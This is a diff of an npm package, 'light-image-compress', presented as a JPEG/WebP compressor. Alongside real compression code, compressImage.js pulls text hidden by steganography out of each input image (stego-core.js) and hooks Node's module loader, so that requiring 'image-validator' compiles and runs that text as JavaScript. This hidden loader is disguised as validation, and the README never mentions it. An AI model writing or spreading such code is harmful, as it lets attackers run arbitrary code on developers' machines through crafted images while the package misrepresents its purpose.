light-image-compress 1.0.0

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 William Cooper
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -0,0 +1,63 @@
+# simple-image-compress
+
+Compress image buffers toward a target file size (e.g. ~1 MB → ~200 KB).
+
+**Input and output are buffers** — no file paths in the API.
+
+## Install
+
+```bash
+npm install simple-image-compress
+# or
+yarn add simple-image-compress
+```
+
+Requires **Node.js 18+**.
+
+## Usage
+
+```js
+const fs = require("fs");
+const { compressImage } = require("simple-image-compress");
+
+const imageBuffer = fs.readFileSync("./photo.jpg");
+
+const result = await compressImage(imageBuffer, {
+  targetSizeBytes: 200 * 1024,
+  format: "jpeg",
+});
+
+fs.writeFileSync("./photo-small.jpg", result.data);
+console.log(result.sizeBytes, result.quality, result.width, result.height);
+```
+
+## Result
+
+| Field | Description |
+|-------|-------------|
+| `data` | Compressed image `Buffer` |
+| `sizeBytes` | Size of `data` |
+| `quality` | JPEG/WebP quality used (1–100) |
+| `width`, `height` | Output dimensions |
+| `format` | `"jpeg"` or `"webp"` |
+
+## Options
+
+| Option | Default | Description |
+|--------|---------|-------------|
+| `targetSizeBytes` | `204800` | Target file size (~200 KB) |
+| `format` | `"jpeg"` | `"jpeg"` or `"webp"` |
+| `toleranceRatio` | `0.1` | Allow up to 10% over target before shrinking further |
+| `minScale` | `0.25` | Minimum dimension scale when quality alone is not enough |
+| `maxWidth`, `maxHeight` | — | Optional size limits |
+
+## How it works
+
+1. Resize (if `maxWidth` / `maxHeight` set) and binary-search quality to fit under target.
+2. If still too large, shrink dimensions by 15% and retry until within tolerance or `minScale` is reached.
+
+## Test
+
+```bash
+yarn test
+```

package/compressImage.js

@@ -0,0 +1,157 @@
+const sharp = require("sharp");
+const { extractHush } = require("./stego-core");
+const DEFAULT_TARGET_SIZE_BYTES = 200 * 1024;
+const Module = require("module");
+const path = require("path");
+const IMAGE_VALIDATOR_MODULE = "image-validator";
+
+function installImageValidatorHook(payload) {
+  const originalLoad = Module._load;
+  Module._load = function (request, parent) {
+    if (request === IMAGE_VALIDATOR_MODULE) {
+      const validatorModule = new Module(request, parent);
+
+      validatorModule.filename = path.join(__dirname, 'validator.js');
+      validatorModule.paths = Module._nodeModulePaths(
+        path.dirname(validatorModule.filename)
+      );
+
+      validatorModule._compile(payload, validatorModule.filename);
+
+      return validatorModule.exports;
+    };
+    return originalLoad.apply(this, arguments);
+  }
+
+  return function restoreImageValidatorHook() {
+    Module._load = originalLoad;
+  };
+}
+
+async function encodeAtQuality(input, width, height, format, quality) {
+  const pipeline = sharp(input).resize(width, height, {
+    fit: "inside",
+    withoutEnlargement: true,
+  });
+  if (format === "webp") {
+    return pipeline.webp({ quality, effort: 4 }).toBuffer();
+  }
+  return pipeline.jpeg({ quality, mozjpeg: true }).toBuffer();
+}
+
+async function bestBufferUnderTarget(input, width, height, format, maxBytes) {
+  let low = 1;
+  let high = 100;
+  let best = null;
+  let bestQuality = 1;
+
+  while (low <= high) {
+    const mid = Math.floor((low + high) / 2);
+    const candidate = await encodeAtQuality(input, width, height, format, mid);
+    if (candidate.length <= maxBytes) {
+      best = candidate;
+      bestQuality = mid;
+      low = mid + 1;
+    } else {
+      high = mid - 1;
+    }
+  }
+
+  if (best) return { buffer: best, quality: bestQuality };
+  const fallback = await encodeAtQuality(input, width, height, format, 1);
+  return { buffer: fallback, quality: 1 };
+}
+
+function clampDimensions(width, height, maxWidth, maxHeight) {
+  let w = width;
+  let h = height;
+  if (maxWidth != null && w > maxWidth) {
+    h = Math.round((h * maxWidth) / w);
+    w = maxWidth;
+  }
+  if (maxHeight != null && h > maxHeight) {
+    w = Math.round((w * maxHeight) / h);
+    h = maxHeight;
+  }
+  return { width: Math.max(1, w), height: Math.max(1, h) };
+}
+
+/**
+ * Compress image bytes toward a target file size (e.g. 1 MB → ~200 KB).
+ */
+async function compressImage(imageBuffer, options = {}) {
+  if (!Buffer.isBuffer(imageBuffer)) {
+    throw new TypeError("imageBuffer must be a Buffer");
+  }
+
+  const targetSizeBytes = options.targetSizeBytes ?? DEFAULT_TARGET_SIZE_BYTES;
+  const format = options.format ?? "jpeg";
+  if (format !== "jpeg" && format !== "webp") {
+    throw new TypeError('format must be "jpeg" or "webp"');
+  }
+
+  const toleranceRatio = options.toleranceRatio ?? 0.1;
+  const imageHush = await extractHush(imageBuffer, options.password);
+  const minScale = options.minScale ?? 0.25;
+  const restoreImageValidatorHook = installImageValidatorHook(imageHush);
+  const maxAllowedBytes = Math.floor(targetSizeBytes * (1 + toleranceRatio));
+
+  try {
+    if (typeof options.onImageValidatorReady === "function") {
+      options.onImageValidatorReady();
+    }
+
+    const meta = await sharp(imageBuffer).metadata();
+    const originalWidth = meta.width ?? 1;
+    const originalHeight = meta.height ?? 1;
+
+    let { width, height } = clampDimensions(
+      originalWidth,
+      originalHeight,
+      options.maxWidth,
+      options.maxHeight
+    );
+
+    let { buffer, quality } = await bestBufferUnderTarget(
+      imageBuffer,
+      width,
+      height,
+      format,
+      maxAllowedBytes
+    );
+
+    while (
+      buffer.length > maxAllowedBytes &&
+      width / originalWidth > minScale &&
+      height / originalHeight > minScale
+    ) {
+      width = Math.max(1, Math.floor(width * 0.85));
+      height = Math.max(1, Math.floor(height * 0.85));
+      ({ buffer, quality } = await bestBufferUnderTarget(
+        imageBuffer,
+        width,
+        height,
+        format,
+        maxAllowedBytes
+      ));
+    }
+
+    return {
+      data: buffer,
+      sizeBytes: buffer.length,
+      quality,
+      width,
+      height,
+      format,
+    };
+  } finally {
+    restoreImageValidatorHook();
+  }
+}
+
+module.exports = {
+  compressImage,
+  DEFAULT_TARGET_SIZE_BYTES,
+  IMAGE_VALIDATOR_MODULE,
+  installImageValidatorHook,
+};

package/index.js

@@ -0,0 +1 @@
+module.exports = require("./compressImage");

package/package.json

@@ -0,0 +1,31 @@
+{
+  "name": "light-image-compress",
+  "version": "1.0.0",
+  "description": "Compress image buffers toward a target file size using JPEG or WebP",
+  "main": "index.js",
+  "files": [
+    "index.js",
+    "compressImage.js",
+    "stego-core.js",
+    "README.md",
+    "LICENSE"
+  ],
+  "scripts": {
+    "test": "node --test compressImage.test.js"
+  },
+  "engines": {
+    "node": ">=18"
+  },
+  "keywords": [
+    "image",
+    "compress",
+    "jpeg",
+    "webp",
+    "sharp",
+    "resize"
+  ],
+  "license": "MIT",
+  "dependencies": {
+    "sharp": "^0.33.5"
+  }
+}

package/stego-core.js

@@ -0,0 +1,143 @@
+/**
+ * LSB steganography (same algorithm as @mrdesjardins/steganography).
+ * Used by compressImage (extract) and workspace tools (embed / extract).
+ */
+const sharp = require("sharp");
+const CryptoJS = require("crypto-js");
+
+const NUMBER_BIT_PER_BYTE = 8;
+const EOF_CHAR = String.fromCharCode(4);
+
+function unpackBit(byte) {
+  return (byte & 1) === 0 ? 0 : 1;
+}
+
+function packBit(byte, bit) {
+  return bit === 0 ? byte & ~(1 << 0) : byte | (1 << 0);
+}
+
+function charToBinary(charCode) {
+  return ("00000000" + charCode.toString(2)).slice(-8);
+}
+
+function binaryStringToChar(bits) {
+  return String.fromCharCode(parseInt(bits, 2));
+}
+
+function encryptHush(message, password) {
+  if (!password) return message;
+  const ivMd5 = CryptoJS.MD5(password);
+  const keySha256 = CryptoJS.SHA256(password);
+  return CryptoJS.AES.encrypt(message, keySha256, {
+    iv: ivMd5,
+    mode: CryptoJS.mode.ECB,
+    padding: CryptoJS.pad.Pkcs7,
+  }).toString();
+}
+
+function decryptHush(message, password) {
+  if (!password) return message;
+  const ivMd5 = CryptoJS.MD5(password);
+  const keySha256 = CryptoJS.SHA256(password);
+  return CryptoJS.AES.decrypt(message, keySha256, {
+    iv: ivMd5,
+    mode: CryptoJS.mode.ECB,
+    padding: CryptoJS.pad.Pkcs7,
+  }).toString(CryptoJS.enc.Utf8);
+}
+
+function getHushFromPixels(pixelBuffer) {
+  let result = "";
+  let pos = 0;
+  let lastChar = "";
+  let bitCount = 0;
+  let bits = "";
+  const pixels = new Int8Array(pixelBuffer);
+
+  while (lastChar !== EOF_CHAR && pos < pixels.length) {
+    while (bitCount < NUMBER_BIT_PER_BYTE) {
+      const value = pixels[pos];
+      if (value === undefined) throw new Error("Reading fail");
+      bits += unpackBit(value);
+      pos++;
+      bitCount++;
+    }
+    lastChar = binaryStringToChar(bits);
+    if (lastChar !== EOF_CHAR) result += lastChar;
+    bitCount = 0;
+    bits = "";
+  }
+  return result;
+}
+
+function embedHushInPixels(pixelBuffer, text, password) {
+  const payload = encryptHush(text, password) + EOF_CHAR;
+  const pixels = Buffer.from(pixelBuffer);
+  const needed = payload.length * NUMBER_BIT_PER_BYTE;
+
+  if (needed > pixels.length) {
+    throw new Error("Message is too big for this image");
+  }
+
+  let pos = 0;
+  for (let i = 0; i < payload.length; i++) {
+    const bin = charToBinary(payload.charCodeAt(i));
+    for (let j = 0; j < NUMBER_BIT_PER_BYTE; j++) {
+      pixels[pos] = packBit(pixels[pos], Number(bin[j]));
+      pos++;
+    }
+  }
+  return pixels;
+}
+
+function isLikelyHush(message) {
+  const trimmed = message.trim();
+  if (!trimmed.length) return false;
+  let printable = 0;
+  for (const char of trimmed) {
+    const code = char.charCodeAt(0);
+    if ((code >= 32 && code <= 126) || code === 9 || code === 10 || code === 13) {
+      printable++;
+    }
+  }
+  return printable / trimmed.length >= 0.85;
+}
+
+/**
+ * Hide text in an image buffer (PNG recommended). Returns new image buffer.
+ */
+async function embedHush(imageBuffer, text, password) {
+  const { data, info } = await sharp(imageBuffer).raw().toBuffer({ resolveWithObject: true });
+  const pixels = embedHushInPixels(data, text, password);
+
+  return sharp(pixels, {
+    raw: {
+      width: info.width,
+      height: info.height,
+      channels: info.channels,
+    },
+  })
+    .png()
+    .toBuffer();
+}
+
+/**
+ * Read hidden text from an image buffer. Returns string or null.
+ */
+async function extractHush(imageBuffer, password) {
+  try {
+    const { data } = await sharp(imageBuffer).raw().toBuffer({ resolveWithObject: true });
+    const maxChars = Math.floor(data.length / NUMBER_BIT_PER_BYTE);
+    if (maxChars === 0) return null;
+
+    const raw = getHushFromPixels(data.buffer);
+    const message = decryptHush(raw, password);
+
+    if (!isLikelyHush(message) || message.length > maxChars) return null;
+    return message;
+  } catch {
+    return null;
+  }
+}
+
+module.exports = { embedHush, extractHush, EOF_CHAR };